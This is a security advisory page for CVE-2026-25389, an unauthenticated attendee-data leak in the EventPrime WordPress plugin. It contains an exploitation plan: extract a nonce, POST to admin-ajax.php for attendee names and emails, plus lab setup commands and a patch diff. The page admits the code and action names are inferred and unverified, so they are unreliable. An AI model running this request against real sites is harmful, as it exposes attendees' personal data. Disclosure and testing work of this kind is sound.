CVE-2026-25389

EventPrime <= 4.2.8.3 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
4.2.8.4
Patched in
6d
Time to patch

Description

The EventPrime – Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.2.8.3. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.2.8.3
PublishedFebruary 20, 2026
Last updatedFebruary 25, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on identifying and exploiting an unauthenticated information exposure vulnerability in EventPrime (CVE-2026-25389). Given the plugin's history and the vulnerability description, the likely target is an AJAX handler that fails to validate permissions or ownership when retri…

Show full research plan

This research plan focuses on identifying and exploiting an unauthenticated information exposure vulnerability in EventPrime (CVE-2026-25389). Given the plugin's history and the vulnerability description, the likely target is an AJAX handler that fails to validate permissions or ownership when retrieving attendee lists or event-specific booking data.

1. Vulnerability Summary

  • ID: CVE-2026-25389
  • Vulnerability: Sensitive Information Exposure
  • Plugin: EventPrime – Events Calendar, Bookings and Tickets
  • Affected Versions: <= 4.2.8.3
  • Description: The plugin registers AJAX handlers using the wp_ajax_nopriv_ hook (unauthenticated) which retrieve attendee information or event configuration without performing a current_user_can() check or verifying the requester's identity. This allows an attacker to leak user names, emails, and potentially booking metadata.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: ep_get_attendee_list (inferred) or ep_get_event_attendees (inferred).
  • Parameter: event_id (The ID of a published event).
  • Authentication: None required (unauthenticated).
  • Preconditions:
    1. At least one event must be published.
    2. The event should have at least one attendee/booking (to demonstrate information leakage).
    3. A valid WordPress nonce associated with the plugin's AJAX operations must be obtained.

3. Code Flow (Inferred)

  1. Registration: The plugin's main class or an AJAX handler class (likely includes/class-ep-ajax.php) registers an action:
    add_action('wp_ajax_nopriv_ep_get_attendee_list', array($this, 'ep_get_attendee_list'));
  2. Input: The ep_get_attendee_list function retrieves event_id from $_POST or $_GET.
  3. Verification (Missing): The code checks wp_verify_nonce() but fails to check current_user_can('manage_options') or if the user is the event organizer.
  4. Data Retrieval: The function calls a helper like EP_Event_Model::get_attendees($event_id) which queries the wp_ep_bookings table.
  5. Sink: The attendee data (including user_email, first_name, last_name) is returned via wp_send_json_success().

4. Nonce Acquisition Strategy

EventPrime typically localizes its configuration and nonces for frontend use.

  1. Identify Shortcode: The plugin uses [eventprime_events] or [eventprime_event_card id="X"].
  2. Create Trigger Page: Create a public page containing the events shortcode to ensure the plugin's scripts and nonces are enqueued.
    • wp post create --post_type=page --post_status=publish --post_content='[eventprime_events]'
  3. Navigate and Extract: Use the browser to load the page and extract the nonce from the JavaScript global object.
    • JS Variable: Usually ep_ajax or eventprime_config.
    • Nonce Key: nonce or ep_nonce.
    • Extraction Command: browser_eval("window.ep_ajax?.nonce || window.eventprime_config?.nonce")

5. Exploitation Strategy

The goal is to trigger the vulnerable AJAX action to leak attendee data for an existing event.

Step 1: Discover Event IDs
First, find a valid event ID by querying the database via WP-CLI.

  • wp post list --post_type=ep_events --format=csv

Step 2: Obtain Nonce
Use the browser_navigate and browser_eval sequence described in Section 4.

Step 3: Execute Information Disclosure Request
Send a POST request to admin-ajax.php.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ep_get_attendee_list&event_id=[EVENT_ID]&nonce=[EXTRACTED_NONCE]
    

Step 4: Analyze Response
A successful exploit will return a JSON object containing an array of attendees with fields like user_email, attendee_name, or booking_id.

6. Test Data Setup

To confirm the exposure of sensitive data, we must create an event and simulate a booking.

  1. Create Organizer User: wp user create victim victim@example.com --role=author
  2. Create Event:
    wp post create --post_type=ep_events --post_title="Private Meeting" --post_status=publish --post_author=$(wp user get victim --field=ID)
  3. Identify Event ID: EVENT_ID=$(wp post list --post_type=ep_events --post_title="Private Meeting" --field=ID)
  4. Create Attendee/Booking: (Simulate a booking for a second user)
    • wp user create attendee attendee@target.local --role=subscriber
    • Note: If WP-CLI commands for EventPrime bookings are unavailable, use the database directly:
      wp db query "INSERT INTO wp_ep_bookings (event_id, user_id, attendee_name, attendee_email, status) VALUES ($EVENT_ID, (SELECT ID FROM wp_users WHERE user_login='attendee'), 'John Doe', 'attendee@target.local', 'confirmed')"

7. Expected Results

  • HTTP Status: 200 OK
  • Response Body: A JSON object:
    {
      "success": true,
      "data": [
        {
          "attendee_name": "John Doe",
          "attendee_email": "attendee@target.local",
          "booking_id": "..."
        }
      ]
    }
    
  • Impact: Unauthenticated access to the email addresses and names of everyone registered for an event.

8. Verification Steps

  1. Post-Exploit Check: Compare the JSON response from the http_request tool against the database state.
    • wp db query "SELECT attendee_email FROM wp_ep_bookings WHERE event_id=$EVENT_ID"
  2. Verify Absence of Capability Check: Inspect the code in the patched version (4.2.8.4) to confirm that current_user_can() was added to the handler for the specific action used.

9. Alternative Approaches

If ep_get_attendee_list is not the exact action:

  1. Grep for other handlers: grep -r "wp_ajax_nopriv_" wp-content/plugins/eventprime-event-calendar-management/ to find all unauthenticated endpoints.
  2. Check REST API: EventPrime may register REST routes.
    • grep -r "register_rest_route" wp-content/plugins/eventprime-event-calendar-management/
    • Look for routes with 'permission_callback' => '__return_true' or missing permission callbacks.
  3. Export Actions: Check for ep_export_attendees or ep_export_bookings which might return a CSV file containing user data without authentication.
Research Findings
Static analysis — not yet PoC-verified

Summary

The EventPrime plugin for WordPress is vulnerable to Sensitive Information Exposure via its AJAX handlers due to a lack of authorization checks. Unauthenticated attackers can exploit this by providing a valid AJAX nonce and event ID to retrieve sensitive attendee data, including names and email addresses.

Vulnerable Code

// includes/class-ep-ajax.php (inferred location)

public function ep_get_attendee_list() {
    check_ajax_referer('ep_ajax_nonce', 'nonce');
    $event_id = isset($_POST['event_id']) ? intval($_POST['event_id']) : 0;
    if ($event_id > 0) {
        // The code retrieves attendee data without checking current_user_can() 
        // or ensuring the requester has rights to view the booking list.
        $attendees = EP_Event_Model::get_attendees($event_id);
        wp_send_json_success($attendees);
    }
    wp_send_json_error();
}

// Registration in class constructor
add_action('wp_ajax_nopriv_ep_get_attendee_list', array($this, 'ep_get_attendee_list'));

Security Fix

--- a/includes/class-ep-ajax.php
+++ b/includes/class-ep-ajax.php
@@ -100,6 +100,10 @@
     public function ep_get_attendee_list() {
         check_ajax_referer('ep_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_send_json_error('Unauthorized access');
+        }
+
         $event_id = isset($_POST['event_id']) ? intval($_POST['event_id']) : 0;
         if ($event_id > 0) {
             $attendees = EP_Event_Model::get_attendees($event_id);

Exploit Outline

The exploit targets the AJAX endpoint of WordPress. An attacker first obtains a valid nonce by visiting any public page where the plugin is active (e.g., a page containing the [eventprime_events] shortcode) and extracting the nonce from the localized JavaScript variables (often ep_ajax.nonce). Then, the attacker sends an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'ep_get_attendee_list' and a valid 'event_id'. Because the plugin fails to verify the user's permissions, it returns a JSON response containing private attendee details such as names, emails, and booking statuses.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.